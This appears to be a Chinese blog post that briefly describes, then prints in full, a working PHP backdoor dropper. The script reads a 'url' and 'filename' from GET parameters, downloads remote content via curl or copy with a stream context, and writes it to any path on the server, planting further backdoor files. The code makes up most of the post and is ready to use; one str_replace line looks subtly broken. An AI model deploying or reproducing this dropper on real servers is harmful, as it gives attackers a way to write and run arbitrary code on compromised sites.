php后门工具代码分析和参考

353次阅读
没有评论

这段代码的核心逻辑就是通过 HTTP 请求接收参数中的 url 及其它信息,然后通过 curl stream_context_create 获取 url 返回的代码,并写入到指定的文件中,从而实现后门入口文件的写入。

对于使用 stream_context_create 来进行 HTTP 请求,在正常的项目开发中确实也很少见。

 

<?php
set_time_limit(0);

if(isset($_GET['url']) && isset($_GET['filename'])){if(httpcopy($_GET['url'], $_GET['filename'])){echo("Done.");
    }else{echo("Down Error.");
    }
}else{die('Input error.');
}

function httpcopy($url, $file="", $timeout=60) {$file = empty($file) ? pathinfo($url,PATHINFO_BASENAME) : $file;
    $dir = pathinfo($file,PATHINFO_DIRNAME);
    !is_dir($dir) && @mkdir($dir,0755,true);
    $url = str_replace("","%20",$url);

    if(function_exists('curl_init')) {
        echo "curl";
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $temp = curl_exec($ch);
        if(@file_put_contents($file, $temp) && !curl_error($ch)) {return $file;} else {return false;}
    } else {
        echo "copy";
        $opts = array(
            "http"=>array(
            "method"=>"GET",
            "header"=>"","timeout"=>$timeout)
        );

        $context = stream_context_create($opts);
        if(@copy($url, $file, $context)) {
            //$http_response_header
            return $file;
        } else {return false;}
    }
}
?>

 

正文完
有偿技术支持加微信
post-qrcode
 0
评论(没有评论)
验证码